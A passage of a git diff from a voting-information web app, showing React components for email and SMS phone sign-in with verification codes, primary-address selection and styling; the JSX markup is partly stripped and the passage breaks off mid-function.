+ voterEmailAddress: '',
+ voterEmailAddressIsValid: false,
+ voterEmailAddressList: [],
+ voterEmailAddressListCount: 0,
+ // voterEmailAddressesVerifiedCount: 0,
+ };
+
+ // NOTE October 2022: This file has lots of commented out code, do not remove until there has been an iOS release
+ // if (isCordova()) {
+ // signInModalGlobalState.set('textOrEmailSignInInProcess', true);
+ // }
+ }
+
+ componentDidMount () {
+ this.onVoterStoreChange();
+ this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
+ VoterActions.voterEmailAddressRetrieve();
+ if (this.emailInputRef && this.emailInputRef.current) {
+ this.emailInputRef.current.blur();
+ }
+ this._isMounted = true;
+ }
+
+ componentDidUpdate () {
+ // const { movedInitialFocus } = this.state;
+ // if (isCordova() && !movedInitialFocus) {
+ // const inputFld = $('#enterVoterEmailAddress');
+ // // console.log('enterVoterEmailAddress ', $(inputFld));
+ // $(inputFld).focus();
+ // if ($(inputFld).is(':focus')) {
+ // this.setState({ movedInitialFocus: true });
+ // }
+ // }
+ }
+
+ componentWillUnmount () {
+ this.voterStoreListener.remove();
+ this._isMounted = false;
+ }
+
+ onVoterStoreChange () {
+ const emailAddressStatus = VoterStore.getEmailAddressStatus();
+ const { secret_code_system_locked_for_this_voter_device_id: secretCodeSystemLocked } = emailAddressStatus;
+ const secretCodeVerificationStatus = VoterStore.getSecretCodeVerificationStatus();
+ const { secretCodeVerified } = secretCodeVerificationStatus;
+ // console.log('onVoterStoreChange secretCodeVerificationStatus:', secretCodeVerificationStatus);
+ const voter = VoterStore.getVoter();
+ const { is_signed_in: isSignedIn } = voter;
+ if (secretCodeVerified && !isSignedIn) {
+ // console.log('VoterEmailAddressEntry onVoterStoreChange secretCodeVerified && !isSignedIn, VoterActions.voterRetrieve()');
+ if (apiCalming('voterRetrieve', 500)) {
+ VoterActions.voterRetrieve();
+ }
+ this.closeSignInModalLocal();
+ }
+
+ const newState = {}; // Don't set state twice in the same function
+ // console.log(`VoterEmailAddressEntry onVoterStoreChange isSignedIn: ${isSignedIn}, signedInWithSmsPhoneNumber: ${signedInWithSmsPhoneNumber}`);
+ if (secretCodeVerified) {
+ Object.assign(newState, {
+ displayEmailVerificationButton: false,
+ showVerifyModal: false,
+ voterEmailAddress: '',
+ });
+ } else if (emailAddressStatus.sign_in_code_email_sent) {
+ Object.assign(newState, {
+ displayEmailVerificationButton: false,
+ emailAddressStatus: {
+ sign_in_code_email_sent: false,
+ },
+ showVerifyModal: true,
+ });
+ } else if (emailAddressStatus.email_address_already_owned_by_this_voter) {
+ Object.assign(newState, {
+ displayEmailVerificationButton: false,
+ emailAddressStatus,
+ showVerifyModal: false,
+ });
+ } else {
+ Object.assign(newState, {
+ emailAddressStatus,
+ });
+ }
+ const voterEmailAddressList = VoterStore.getEmailAddressList();
+ const voterEmailAddressListCount = voterEmailAddressList.length;
+ // const voterEmailAddressesVerifiedCount = VoterStore.getEmailAddressesVerifiedCount();
+ Object.assign(newState, {
+ loading: false,
+ secretCodeSystemLocked,
+ voter: VoterStore.getVoter(),
+ voterEmailAddressList,
+ voterEmailAddressListCount,
+ // voterEmailAddressesVerifiedCount,
+ });
+ if (this._isMounted) {
+ this.setState(newState);
+ }
+ }
+
+ setAsPrimaryEmailAddress (emailWeVoteId) {
+ VoterActions.setAsPrimaryEmailAddress(emailWeVoteId);
+ }
+
+ voterEmailAddressSave = (event) => {
+ // console.log('VoterEmailAddressEntry this.voterEmailAddressSave');
+ event.preventDefault();
+ const { displayEmailVerificationButton, voterEmailAddress } = this.state;
+ if (displayEmailVerificationButton && voterEmailAddress) {
+ const sendLinkToSignIn = true;
+ this.setState({
+ loading: true,
+ }, () => VoterActions.voterEmailAddressSave(voterEmailAddress, sendLinkToSignIn));
+ }
+ };
+
+ showEmailOnlySignInLocal = () => {
+ this.setState({
+ hideExistingEmailAddresses: true,
+ signInCodeEmailSentAndWaitingForResponse: false,
+ });
+ if (this.props.showEmailOnlySignIn) {
+ this.props.showEmailOnlySignIn();
+ }
+ };
+
+ closeSignInModalLocal = () => {
+ // console.log('VoterEmailAddressEntry closeSignInModalLocal');
+ if (this.props.closeSignInModal) {
+ this.props.closeSignInModal();
+ }
+ };
+
+ closeSignInModalFromVerifySecretCode = () => {
+ // console.log('VoterEmailAddressEntry closeSignInModalFromVerifySecretCode');
+ setTimeout(() => {
+ VoterActions.clearSecretCodeVerificationStatusAndEmail();
+ }, 1000);
+ this.closeSignInModalLocal();
+ };
+
+ closeVerifyModalFromVerifySecretCode = () => {
+ // console.log('VoterEmailAddressEntry closeVerifyModalFromVerifySecretCode');
+ this.setState({
+ displayEmailVerificationButton: false,
+ emailAddressStatus: {
+ sign_in_code_email_sent: false,
+ },
+ showVerifyModal: false,
+ signInCodeEmailSentAndWaitingForResponse: false,
+ });
+ setTimeout(() => {
+ // A timer hack to prevent a "React state update on an unmounted component"
+ VoterActions.clearSecretCodeVerificationStatusAndEmail();
+ }, 1000);
+ if (this.props.closeVerifyModal) {
+ this.props.closeVerifyModal();
+ }
+ };
+
+ onVoterEmailAddressChange = (event) => {
+ if (this.state.emailErrorTimeoutId) {
+ clearTimeout(this.state.emailErrorTimeoutId);
+ }
+ this.setState({ displayIncorrectEmailError: false });
+ const voterEmailAddress = event.target.value;
+ const voterEmailAddressIsValid = validateEmail(voterEmailAddress);
+ const disableEmailVerificationButton = !voterEmailAddressIsValid;
+ const displayEmailVerificationButton = (voterEmailAddress && voterEmailAddress.length > 0);
+ const emailErrorTimeoutId = setTimeout(() => {
+ if (voterEmailAddress && !voterEmailAddressIsValid) {
+ this.setState({ displayIncorrectEmailError: true });
+ }
+ }, 2000);
+ this.setState({
+ disableEmailVerificationButton,
+ displayEmailVerificationButton,
+ emailErrorTimeoutId,
+ voterEmailAddress,
+ voterEmailAddressIsValid,
+ });
+ };
+
+ onBlur = () => {
+ const { voterEmailAddress } = this.state;
+ if (!voterEmailAddress) {
+ // Only hide the phone verification button if the user has not "unlocked" the button used to send the message.
+ this.props.showAllSignInOptions();
+ this.setState({
+ displayEmailVerificationButton: false,
+ });
+ if (!shiftTabKeyPressed) {
+ const TermsOfServiceLink = document.getElementById('openTermsOfService');
+ if (TermsOfServiceLink) {
+ TermsOfServiceLink.focus();
+ }
+ } else if (isCordova() || isMobileScreenSize()) {
+ if (this.props.showPhoneOnlySignIn) {
+ this.props.showPhoneOnlySignIn();
+ setTimeout(() => {
+ // console.log('VoterEmailAddress focus to enterVoterPhone');
+ const nextField = document.getElementById('enterVoterPhone');
+ if (nextField) {
+ nextField.focus();
+ }
+ }, 100);
+ }
+ }
+ blurTextFieldAndroid();
+ }
+ };
+
+ onCancel = () => {
+ // console.log('VoterEmailAddressEntry onCancel');
+ this.setState({
+ disableEmailVerificationButton: true,
+ displayEmailVerificationButton: false,
+ displayIncorrectEmailError: false,
+ signInCodeEmailSentAndWaitingForResponse: false,
+ voterEmailAddress: '', // Clearing voterEmailAddress variable does not always clear email in form
+ });
+
+ // console.log('before clearSecretCodeVerificationStatusAndEmail in onCancel');
+ VoterActions.clearSecretCodeVerificationStatusAndEmail();
+ this.props.showAllSignInOptions();
+ if (this.state.emailErrorTimeoutId) {
+ clearTimeout(this.state.emailErrorTimeoutId);
+ }
+ this.setState({ displayIncorrectEmailError: false });
+ const textField = document.getElementById('enterVoterEmailAddress');
+ textField.innerText = '';
+ const { cancelShouldCloseModal } = this.props;
+ // console.log('cancelShouldCloseModal:', cancelShouldCloseModal);
+ if (cancelShouldCloseModal) {
+ this.closeSignInModalLocal();
+ }
+ const TermsOfServiceLink = document.getElementById('openTermsOfService');
+ if (TermsOfServiceLink) {
+ // console.log('VoterEmailAddress focus to TermsOfServiceLink');
+ TermsOfServiceLink.focus();
+ }
+ };
+
+ onFocus = () => {
+ this.setState({
+ displayEmailVerificationButton: true,
+ });
+ if (isCordova() || isMobileScreenSize()) {
+ this.showEmailOnlySignInLocal();
+ }
+ // focusTextFieldAndroid(); // This refers to caller string AddFriendsByEmail. Correct?
+ };
+
+ onAnimationEndCancel = () => {
+ // In Cordova when the virtual keyboard goes away, the on-click doesn't happen, but the onAnimation does.
+ // This allows us to react to the first click.
+ // if (isCordova()) {
+ // console.log('VoterEmailAddressEntry onAnimationEndCancel calling onCancel');
+ // this.onCancel();
+ // }
+ };
+
+ onAnimationEndSend = () => {
+ if (isCordova()) {
+ // console.log('VoterPhoneVerificationEntry onAnimationEndSend calling sendSignInCodeEmail');
+ this.sendSignInCodeEmail();
+ }
+ };
+
+ onKeyDown = (event) => {
+ // console.log('onKeyDown, event.keyCode:', event.keyCode);
+ const SPACE_KEY_CODE = 32;
+ const keyCodesToBlock = [SPACE_KEY_CODE];
+ if (event.key === 'Tab' && event.shiftKey) {
+ shiftTabKeyPressed = true;
+ } else {
+ shiftTabKeyPressed = false;
+ }
+ if (keyCodesToBlock.includes(event.keyCode)) {
+ event.preventDefault();
+ }
+ };
+
+ // eslint-disable-next-line react/sort-comp
+ removeVoterEmailAddress (emailWeVoteId) {
+ VoterActions.removeVoterEmailAddress(emailWeVoteId);
+ return null;
+ }
+
+ sendSignInCodeEmail = (event) => {
+ const { displayEmailVerificationButton, voterEmailAddress, voterEmailAddressIsValid } = this.state;
+ // console.log('displayEmailVerificationButton:', displayEmailVerificationButton, ', voterEmailAddress:', voterEmailAddress, ', voterEmailAddressIsValid:', voterEmailAddressIsValid);
+ if (event) {
+ event.preventDefault();
+ }
+ if (voterEmailAddressIsValid && displayEmailVerificationButton) {
+ VoterActions.sendSignInCodeEmail(voterEmailAddress);
+ this.setState({
+ emailAddressStatus: {
+ email_address_already_owned_by_other_voter: false,
+ },
+ signInCodeEmailSentAndWaitingForResponse: true,
+ });
+ } else {
+ this.setState({ displayIncorrectEmailError: true });
+ }
+ };
+
+ reSendSignInCodeEmail = (voterEmailAddress) => {
+ // console.log('VoterEmailAddressEntry voterEmailAddress:', voterEmailAddress);
+ if (voterEmailAddress) {
+ VoterActions.sendSignInCodeEmail(voterEmailAddress);
+ this.setState({
+ emailAddressStatus: {
+ email_address_already_owned_by_other_voter: false,
+ },
+ loading: true,
+ voterEmailAddress,
+ });
+ }
+ };
+
+ pushDataLayer = (buttonId, actionType) => {
+ const dataLayerObject = {
+ actionDetails: {
+ actionType,
+ buttonId,
+ },
+ event: 'click',
+ verifyDetails: {
+ verifyMethod: 'email',
+ },
+ pageDetails: getPageDetails(),
+ userDetails: VoterStore.getAnalyticsUserDetails(),
+ };
+ TagManager.dataLayer({ dataLayer: dataLayerObject });
+ };
+
+ render () {
+ renderLog('VoterEmailAddressEntry'); // Set LOG_RENDER_EVENTS true to log all renders
+ const { doNotRender } = this.props;
+ if (doNotRender) {
+ return null;
+ }
+ const { loading } = this.state;
+ if (loading) {
+ return LoadingWheel;
+ }
+
+ const { classes, hideEverythingButSignInWithEmailForm, hideSignInWithEmailForm, lockOpenEmailVerificationButton } = this.props;
+ const {
+ disableEmailVerificationButton, displayEmailVerificationButton,
+ displayIncorrectEmailError, emailAddressStatus, hideExistingEmailAddresses,
+ secretCodeSystemLocked, showVerifyModal, signInCodeEmailSentAndWaitingForResponse,
+ voterEmailAddress, voterEmailAddressList, voterEmailAddressListCount,
+ } = this.state;
+
+ const signInLinkOrCodeSent = (emailAddressStatus.link_to_sign_in_email_sent || emailAddressStatus.sign_in_code_email_sent);
+ // console.log('showVerifyModal:', showVerifyModal, ', signInLinkOrCodeSent:', signInLinkOrCodeSent);
+ const emailAddressStatusHtml = (
+
+ { emailAddressStatus.email_address_not_valid ||
+ (emailAddressStatus.email_address_already_owned_by_this_voter && !emailAddressStatus.email_address_deleted && !emailAddressStatus.make_primary_email && !secretCodeSystemLocked) ||
+ (emailAddressStatus.email_address_already_owned_by_other_voter && !signInLinkOrCodeSent && !secretCodeSystemLocked) ||
+ secretCodeSystemLocked ? (
+
+ { emailAddressStatus.email_address_not_valid && (
+ Please enter a valid email address.
+ )}
+ { emailAddressStatus.email_address_already_owned_by_other_voter && !signInLinkOrCodeSent && !secretCodeSystemLocked && (
+
+ That email is already being used by another account.
+
+ )}
+ { emailAddressStatus.email_address_already_owned_by_this_voter && !emailAddressStatus.email_address_deleted && !emailAddressStatus.make_primary_email && !secretCodeSystemLocked ? (
+ That email address was already verified by you.
+ ) : null }
+ { secretCodeSystemLocked && (
+
+ Your account is locked. Please
+ }>
+ contact WeVote support for help.}
+ />
+
+
+ )}
+
+ ) : null}
+ { emailAddressStatus.email_address_created ||
+ emailAddressStatus.email_address_deleted ||
+ emailAddressStatus.email_ownership_is_verified ||
+ emailAddressStatus.verification_email_sent ||
+ emailAddressStatus.link_to_sign_in_email_sent ||
+ (emailAddressStatus.make_primary_email && (emailAddressStatus.email_address_created || emailAddressStatus.email_address_found || emailAddressStatus.sign_in_code_email_sent) && !secretCodeSystemLocked) ||
+ emailAddressStatus.sign_in_code_email_sent ? (
+
+ { emailAddressStatus.email_address_created &&
+ !emailAddressStatus.verification_email_sent ? Your email address was saved. : null }
+ { emailAddressStatus.email_address_deleted ? Your email address was deleted. : null }
+ { emailAddressStatus.email_ownership_is_verified ? Your email address was verified. : null }
+ { emailAddressStatus.verification_email_sent ? Please check your email. A verification email was sent. : null }
+ { emailAddressStatus.link_to_sign_in_email_sent ? Please check your email. A sign in link was sent. : null }
+ { emailAddressStatus.make_primary_email && (emailAddressStatus.email_address_created || emailAddressStatus.email_address_found || emailAddressStatus.sign_in_code_email_sent) && !secretCodeSystemLocked ? Your have chosen a new primary email. : null }
+ { emailAddressStatus.sign_in_code_email_sent ? Please check your email. A sign in verification code was sent. : null }
+
+ ) : null}
+
+ );
+
+ const enterEmailHtml = hideSignInWithEmailForm ? null : (
+
+
+ {!(displayEmailVerificationButton || lockOpenEmailVerificationButton) && (
+
+ );
+
+ let allowRemoveEmail;
+ let emailOwnershipIsVerified;
+ let isPrimaryEmailAddress;
+
+ // ///////////////////////////////////
+ // LIST OF VERIFIED EMAILS
+ let verifiedEmailsFound = false;
+ const verifiedEmailListHtml = voterEmailAddressList.map((voterEmailAddressFromList) => {
+ emailOwnershipIsVerified = !!voterEmailAddressFromList.email_ownership_is_verified;
+
+ if (emailOwnershipIsVerified) {
+ verifiedEmailsFound = true;
+ allowRemoveEmail = voterEmailAddressFromList.primary_email_address !== true;
+ isPrimaryEmailAddress = voterEmailAddressFromList.primary_email_address === true;
+
+ return (
+
+
+ {voterEmailAddressFromList.normalized_email_address}
+
+
+ {isPrimaryEmailAddress ? (
+
+
+ Primary
+
+
+
+ You must add a new primary email before removing this one.
+
+ )}
+ >
+
+
+
+
+
+
+
+ ) : (
+
+ this.setAsPrimaryEmailAddress(voterEmailAddressFromList.email_we_vote_id)}
+ >
+ Make Primary
+
+ {allowRemoveEmail && (
+
+
+ this.removeVoterEmailAddress(voterEmailAddressFromList.email_we_vote_id)}
+ >
+
+
+
+ )}
+
+ )}
+
+
+
+
+ {voterEmailAddressFromList.normalized_email_address}
+
+ {voterEmailAddressFromList.email_ownership_is_verified ?
+ null : (
+
+
+ this.reSendSignInCodeEmail(voterEmailAddressFromList.normalized_email_address)}
+ id="sendVerificationCodeAgain"
+ >
+ Send verification again
+
+ {allowRemoveEmail && (
+
+ this.removeVoterEmailAddress(voterEmailAddressFromList.email_we_vote_id)}
+ >
+
+
+ )}
+
+
+ )}
+
+
+ {(hideEverythingButSignInWithEmailForm || hideExistingEmailAddresses) ? (
+
+ {emailAddressStatusHtml}
+
+ ) : (
+
+ {verifiedEmailsFound ? (
+
+
+ Your Email
+ {voterEmailAddressListCount > 1 ? 's' : ''}
+
+ {emailAddressStatusHtml}
+ {verifiedEmailListHtml}
+
+ ) : (
+
+ {emailAddressStatusHtml}
+
+ )}
+ {unverifiedEmailsFound && (
+
+ Emails to Verify
+ {toVerifyEmailListHtml}
+
+ )}
+
+ )}
+ {!hideSignInWithEmailForm && (
+
+ {enterEmailHtml}
+
+ )}
+ {showVerifyModal && (
+
+ );
+ }
+}
+VoterEmailAddressEntry.propTypes = {
+ cancelShouldCloseModal: PropTypes.bool,
+ classes: PropTypes.object,
+ closeSignInModal: PropTypes.func,
+ closeVerifyModal: PropTypes.func,
+ doNotRender: PropTypes.bool,
+ hideEverythingButSignInWithEmailForm: PropTypes.bool,
+ hideSignInWithEmailForm: PropTypes.bool,
+ lockOpenEmailVerificationButton: PropTypes.bool,
+ showAllSignInOptions: PropTypes.func,
+ showPhoneOnlySignIn: PropTypes.func,
+ showEmailOnlySignIn: PropTypes.func,
+};
+
+const styles = {
+ paperRoot: {
+ border: '1px solid #ccc',
+ boxShadow: 'none',
+ display: 'flex',
+ justifyContent: 'space-between',
+ alignItems: 'center',
+ width: '100%',
+ paddingLeft: 8,
+ marginBottom: 8,
+ },
+ input: {
+ marginLeft: 0.1,
+ flex: 1,
+ },
+};
+
+const ButtonsHiddenSpacer = styled('div')`
+ height: 44px;
+`;
+
+const ButtonWrapper = styled('div')`
+ width: 100%;
+ margin: 4px 0 0 0;
+ display: flex;
+ align-items: center;
+ justify-content: flex-end;
+`;
+
+const CancelButtonContainer = styled('div')`
+ width: fit-content;
+`;
+
+const EmailSection = styled('div', {
+ shouldForwardProp: (prop) => !['isWeb'].includes(prop),
+})(({ isWeb }) => (`
+ margin-top: ${isWeb ? '0' : '0'};
+`));
+
+const Wrapper = styled('div', {
+ shouldForwardProp: (prop) => !['isWeb'].includes(prop),
+})(({ isWeb }) => (`
+ margin-top: ${isWeb ? '0' : '0'};
+ ${isIPad() ? 'text-align: left; padding-left: 110px;' : ''};
+)}
+`));
+
+export default withStyles(styles)(VoterEmailAddressEntry);
diff --git a/src/js/components/Settings/VoterPhoneVerificationEntry.jsx b/src/js/components/Settings/VoterPhoneVerificationEntry.jsx
index 4f9e6d4795..6854a6f533 100644
--- a/src/js/components/Settings/VoterPhoneVerificationEntry.jsx
+++ b/src/js/components/Settings/VoterPhoneVerificationEntry.jsx
@@ -1,840 +1,840 @@
-import { Delete, Phone } from '@mui/icons-material';
-import {
- Button,
- InputAdornment,
- TextField,
-} from '@mui/material';
-import Alert from '@mui/material/Alert';
-import withStyles from '@mui/styles/withStyles';
-import PropTypes from 'prop-types';
-import React, { Component, Suspense } from 'react';
-import { isValidPhoneNumber } from 'react-phone-number-input';
-import styled from 'styled-components';
-import OverlayTrigger from 'react-bootstrap/OverlayTrigger';
-import TagManager from 'react-gtm-module';
-import Tooltip from 'react-bootstrap/Tooltip';
-import VoterActions from '../../actions/VoterActions';
-import LoadingWheel from '../../common/components/Widgets/LoadingWheel';
-import apiCalming from '../../common/utils/apiCalming';
-import { blurTextFieldAndroid } from '../../common/utils/cordovaUtils';
-import { isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp';
-import isMobileScreenSize from '../../common/utils/isMobileScreenSize';
-import { renderLog } from '../../common/utils/logging';
-import VoterStore from '../../stores/VoterStore';
-import { FirstRowPhoneOrEmail, SecondRowPhoneOrEmail, SecondRowPhoneOrEmailDiv, AllPhoneOrEmailTypes } from '../Style/pageLayoutStyles';
-import { ButtonContainerHorizontal } from '../Welcome/sectionStyles';
-import SettingsVerifySecretCode from '../../common/components/Settings/SettingsVerifySecretCode';
-import { getPageDetails } from '../../utils/lookupPageNameAndPageTypeDict';
-// import { validatePhoneOrEmail } from '../../utils/regex-checks';
-
-const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite'));
-
-
-/* global $ */
-let shiftTabKeyPressed = false;
-class VoterPhoneVerificationEntry extends Component {
- constructor (props) {
- super(props);
- this.state = {
- disablePhoneVerificationButton: true,
- displayPhoneVerificationButton: false,
- displayIncorrectPhoneNumberError: false,
- phoneNumberErrorTimeoutId: '',
- hideExistingPhoneNumbers: false,
- loading: false,
- // movedInitialFocus: false,
- secretCodeSystemLocked: false,
- showVerifyModal: false,
- // showError: false,
- signInCodeSMSSentAndWaitingForResponse: false,
- smsPhoneNumberList: [],
- smsPhoneNumberListCount: 0,
- smsPhoneNumberStatus: {},
- voterSMSPhoneNumber: '',
- // voterSMSPhoneNumbersVerifiedCount: 0,
- voterSMSPhoneNumberIsValid: false,
- };
-
- this.onPhoneNumberChange = this.onPhoneNumberChange.bind(this);
- this.sendSignInCodeSMS = this.sendSignInCodeSMS.bind(this);
- this.closeVerifyModalFromVerifySecretCode = this.closeVerifyModalFromVerifySecretCode.bind(this);
- this.removeVoterSMSPhoneNumber = this.removeVoterSMSPhoneNumber.bind(this);
- // NOTE October 2022: This file has lots of commented out code, do not remove until there has been an iOS release
- // if (isCordova()) {
- // signInModalGlobalState.set('textOrEmailSignInInProcess', true);
- // }
- }
-
- componentDidMount () {
- this.onVoterStoreChange();
- this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
- VoterActions.voterSMSPhoneNumberRetrieve();
- const inputFld = $('#enterVoterPhone');
- // console.log('enterVoterPhone ', $(inputFld));
- $(inputFld).blur();
- this._isMounted = true;
- }
-
- componentDidUpdate () {
- // const { movedInitialFocus } = this.state;
- // if (isCordova() && !movedInitialFocus) {
- // const inputFld = $('#enterVoterPhone');
- // console.log('voterPhoneVerificationEntry componentDidUpdate ', $(inputFld));
- // $(inputFld).focus();
- // if ($(inputFld).is(':focus')) {
- // this.setState({ movedInitialFocus: true });
- // }
- // }
- }
-
- componentDidCatch (error, info) {
- // We should get this information to Splunk!
- console.error('VoterPhoneVerificationEntry caught error: ', `${error} with info: `, info);
- }
-
- componentWillUnmount () {
- clearTimeout(this.clearPhoneTimer);
- this.voterStoreListener.remove();
- this._isMounted = false;
- }
-
- onVoterStoreChange () {
- const smsPhoneNumberStatus = VoterStore.getSMSPhoneNumberStatus();
- // console.log('smsPhoneNumberStatus:', smsPhoneNumberStatus);
- const {
- secret_code_system_locked_for_this_voter_device_id: secretCodeSystemLocked,
- sign_in_code_sms_sent: signInCodeSMSSent,
- } = smsPhoneNumberStatus;
- const secretCodeVerificationStatus = VoterStore.getSecretCodeVerificationStatus();
- const { secretCodeVerified } = secretCodeVerificationStatus;
- // console.log('onVoterStoreChange smsPhoneNumberStatus:', smsPhoneNumberStatus);
- const voter = VoterStore.getVoter();
- const { is_signed_in: isSignedIn, signed_in_with_sms_phone_number: signedInWithSmsPhoneNumber } = voter;
- if (secretCodeVerified && !isSignedIn) {
- // console.log('VoterPhoneVerificationEntry onVoterStoreChange secretCodeVerified && !isSignedIn, VoterActions.voterRetrieve()');
- if (apiCalming('voterRetrieve', 500)) {
- VoterActions.voterRetrieve();
- }
- this.closeSignInModalLocal();
- }
-
- const newState = {}; // Don't set state twice in the same function
- // console.log(`VoterEmailAddressEntry onVoterStoreChange isSignedIn: ${isSignedIn}, signedInWithSmsPhoneNumber: ${signedInWithSmsPhoneNumber}`);
- if (secretCodeVerified) {
- Object.assign(newState, {
- displayPhoneVerificationButton: false,
- showVerifyModal: false,
- signInCodeSMSSentAndWaitingForResponse: false,
- voterSMSPhoneNumber: '',
- });
- } else if (signInCodeSMSSent) {
- Object.assign(newState, {
- displayPhoneVerificationButton: false,
- smsPhoneNumberStatus: {
- sign_in_code_sms_sent: false,
- },
- showVerifyModal: true,
- signInCodeSMSSentAndWaitingForResponse: false,
- });
- } else if (smsPhoneNumberStatus.sms_phone_number_already_owned_by_this_voter) {
- Object.assign(newState, {
- displayPhoneVerificationButton: false,
- smsPhoneNumberStatus,
- showVerifyModal: false,
- signInCodeSMSSentAndWaitingForResponse: false,
- });
- } else if (signedInWithSmsPhoneNumber) {
- this.closeSignInModalLocal();
- Object.assign(newState, {
- smsPhoneNumberStatus,
- });
- } else if (smsPhoneNumberStatus.sms_phone_number && !smsPhoneNumberStatus.sign_in_code_sms_sent) {
- Object.assign(newState, {
- displayPhoneVerificationButton: true,
- smsPhoneNumberStatus,
- signInCodeSMSSentAndWaitingForResponse: false,
- });
- } else {
- Object.assign(newState, {
- smsPhoneNumberStatus,
- });
- }
- const smsPhoneNumberList = VoterStore.getSMSPhoneNumberList();
- const smsPhoneNumberListCount = smsPhoneNumberList.length;
- // const voterSMSPhoneNumbersVerifiedCount = VoterStore.getSMSPhoneNumbersVerifiedCount();
- Object.assign(newState, {
- loading: false,
- secretCodeSystemLocked,
- smsPhoneNumberList,
- smsPhoneNumberListCount,
- voter: VoterStore.getVoter(),
- // voterSMSPhoneNumbersVerifiedCount,
- });
- // console.log('VoterEmailAddressEntry onVoterStoreChange before remaining setstate');
- if (this._isMounted) {
- // console.log('VoterEmailAddressEntry onVoterStoreChange before remaining setstate AND _isMounted');
- this.setState(newState);
- }
- }
-
- setAsPrimarySMSPhoneNumber (smsWeVoteId) {
- VoterActions.setAsPrimarySMSPhoneNumber(smsWeVoteId);
- }
-
- // eslint-disable-next-line react/sort-comp
- voterSMSPhoneNumberSave = (event) => {
- // console.log('VoterPhoneVerificationEntry this.voterSMSPhoneNumberSave');
- event.preventDefault();
- const { displayPhoneVerificationButton, voterSMSPhoneNumber } = this.state;
- if (voterSMSPhoneNumber && displayPhoneVerificationButton) {
- this.setState({
- loading: true,
- }, () => VoterActions.voterSMSPhoneNumberSave(voterSMSPhoneNumber));
- }
- };
-
- showPhoneOnlySignInLocal = () => {
- this.setState({
- hideExistingPhoneNumbers: true,
- signInCodeSMSSentAndWaitingForResponse: false,
- });
- if (this.props.showPhoneOnlySignIn) {
- this.props.showPhoneOnlySignIn();
- }
- };
-
- closeSignInModalLocal = () => {
- // console.log('VoterPhoneVerificationEntry closeSignInModalLocal');
- if (this.props.closeSignInModal) {
- this.props.closeSignInModal();
- }
- };
-
- closeSignInModalFromVerifySecretCode = () => {
- // console.log('VoterPhoneVerificationEntry closeSignInModalFromVerifySecretCode');
- const delayBeforeClearingPhoneStatus = 500;
- this.clearPhoneTimer = setTimeout(() => {
- VoterActions.clearSecretCodeVerificationStatusAndPhone();
- }, delayBeforeClearingPhoneStatus);
- this.closeSignInModalLocal();
- };
-
- closeVerifyModalFromVerifySecretCode = () => {
- // console.log('VoterPhoneVerificationEntry closeVerifyModalFromVerifySecretCode');
- this.setState({
- displayPhoneVerificationButton: false,
- smsPhoneNumberStatus: {
- sign_in_code_sms_sent: false,
- },
- showVerifyModal: false,
- signInCodeSMSSentAndWaitingForResponse: false,
- });
- setTimeout(() => {
- // A timer hack to prevent a "React state update on an unmounted component"
- VoterActions.clearSecretCodeVerificationStatusAndPhone();
- }, 1000);
- // if (isCordova()) {
- // this.closeSignInModalLocal();
- // }
- if (this.props.closeVerifyModal) {
- this.props.closeVerifyModal();
- }
- };
-
- onPhoneNumberChange (event) {
- if (this.state.phoneNumberErrorTimeoutId) {
- clearTimeout(this.state.phoneNumberErrorTimeoutId);
- }
- this.setState({ displayIncorrectPhoneNumberError: false });
- const incomingVoterPhoneNumber = event.target.value;
- const voterSMSPhoneNumberWithPlus = `+${incomingVoterPhoneNumber}`;
- const voterSMSPhoneNumberWithPlusAndOne = `+1${incomingVoterPhoneNumber}`;
-
- // const voterSMSPhoneNumberIsValidRaw = validatePhoneOrEmail(incomingVoterPhoneNumber);
- const voterSMSPhoneNumberIsValidRaw = isValidPhoneNumber(incomingVoterPhoneNumber);
- const voterSMSPhoneNumberIsValidWithPlus = isValidPhoneNumber(voterSMSPhoneNumberWithPlus);
- const voterSMSPhoneNumberIsValidWithPlusAndOne = isValidPhoneNumber(voterSMSPhoneNumberWithPlusAndOne);
- const voterSMSPhoneNumberIsValid = voterSMSPhoneNumberIsValidRaw || voterSMSPhoneNumberIsValidWithPlus || voterSMSPhoneNumberIsValidWithPlusAndOne;
- // const voterSMSPhoneNumberIsValid = validatePhoneOrEmail(incomingVoterPhoneNumber);
- const disablePhoneVerificationButton = !voterSMSPhoneNumberIsValid;
- const displayPhoneVerificationButton = (incomingVoterPhoneNumber && incomingVoterPhoneNumber.length > 0);
- // console.log('onPhoneNumberChange, incomingVoterPhoneNumber: ', incomingVoterPhoneNumber, ', voterSMSPhoneNumberIsValid:', voterSMSPhoneNumberIsValid);
- // console.log('voterSMSPhoneNumberWithPlus:', voterSMSPhoneNumberWithPlus);
- // console.log('voterSMSPhoneNumberWithPlusAndOne:', voterSMSPhoneNumberWithPlusAndOne);
- const phoneNumberErrorTimeoutId = setTimeout(() => {
- if (incomingVoterPhoneNumber && incomingVoterPhoneNumber.length > 0 && !voterSMSPhoneNumberIsValid) {
- this.setState({ displayIncorrectPhoneNumberError: true });
- }
- }, 2000);
- this.setState({
- disablePhoneVerificationButton,
- displayPhoneVerificationButton,
- phoneNumberErrorTimeoutId,
- voterSMSPhoneNumber: incomingVoterPhoneNumber,
- voterSMSPhoneNumberIsValid,
- });
- }
-
- onBlur = () => {
- const { voterSMSPhoneNumber } = this.state;
- if (!voterSMSPhoneNumber) {
- // Only hide the phone verification button if the user has not "unlocked" the button used to send the message.
- this.setState({
- displayPhoneVerificationButton: false,
- });
- if (!shiftTabKeyPressed) {
- if (isMobileScreenSize()) {
- if (this.props.showEmailOnlySignIn) {
- this.props.showEmailOnlySignIn();
- setTimeout(() => {
- const nextField = document.getElementById('enterVoterEmailAddress');
- if (nextField) {
- nextField.focus();
- }
- }, 100);
- }
- } else {
- const nextField = document.getElementById('enterVoterEmailAddress') || document.getElementById('openTermsOfService');
- if (nextField) {
- nextField.focus();
- }
- }
- } else if (isCordova() || isMobileScreenSize()) {
- if (this.props.showAllSignInOptions) {
- this.props.showAllSignInOptions();
- setTimeout(() => {
- const nextField = document.getElementById('appleSignInButton');
- if (nextField) {
- nextField.focus();
- }
- }, 50);
- }
- }
- }
- blurTextFieldAndroid();
- };
-
- onCancel = () => {
- // console.log('VoterPhoneVerificationEntry onCancel');
- this.setState({
- disablePhoneVerificationButton: false,
- displayIncorrectPhoneNumberError: false,
- displayPhoneVerificationButton: false,
